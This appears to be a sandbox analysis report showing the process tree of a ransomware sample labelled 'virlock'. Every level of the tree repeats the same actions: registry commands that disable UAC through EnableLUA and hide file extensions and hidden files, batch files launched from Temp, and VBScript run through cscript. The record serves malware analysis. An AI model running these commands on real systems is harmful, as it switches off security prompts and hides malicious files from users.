                                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                              99⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1060
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                              98⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1172
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                99⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4824
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\aMccQwAQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                98⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                PID:2448
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                  99⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2072
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                            96⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                            PID:4232
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                            96⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4328
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                97⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2716
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                96⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5544
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NCEwQAEA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                96⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1984
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                    97⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4100
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                              94⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                              PID:256
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                              94⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2252
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                              94⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4268
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LmccEQkU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                              94⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5012
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                  95⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2492
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                    95⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5996
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                              92⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5424
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                              92⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2884
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                              92⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                              PID:264
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RqEgIQgk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                              92⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1548
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                  93⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5096
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                            90⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                            PID:5112
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                            90⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5332
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                              90⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2384
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lCwssMMk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                              90⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                              PID:3060
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                91⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5536
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                          88⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2308
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                            89⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4932
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                            88⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                            PID:2124
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                            88⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                            PID:2584
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\emgEcwIg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                            88⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                            PID:4376
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                              89⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5152
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                89⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                PID:124
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                          86⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2404
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                          86⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1008
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                          86⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                          PID:3960
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sKEcsQoA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          86⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2032
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                            87⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                            PID:4848
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      84⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5816
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                      84⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4088
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        84⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1960
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OgwYEEEg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                        84⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5188
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                          85⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1168
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                            85⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                            PID:236
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      82⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      PID:4744
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                      82⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2312
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        82⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2448
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NaYskUUE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                        82⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:824
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                            83⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                            PID:3252
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      80⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      PID:4284
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                      80⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4328
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        80⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2928
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tOUgsQAQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                        80⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2908
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                          81⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4464
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                    78⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                    PID:2492
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                    78⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1496
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                      78⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                      PID:2292
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pGUQYwQU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                      78⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3428
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                          79⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                          PID:5580
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                    76⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5932
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                    76⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1776
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                    76⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                    PID:2460
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\IIwssoEo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                    76⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1248
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                      77⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
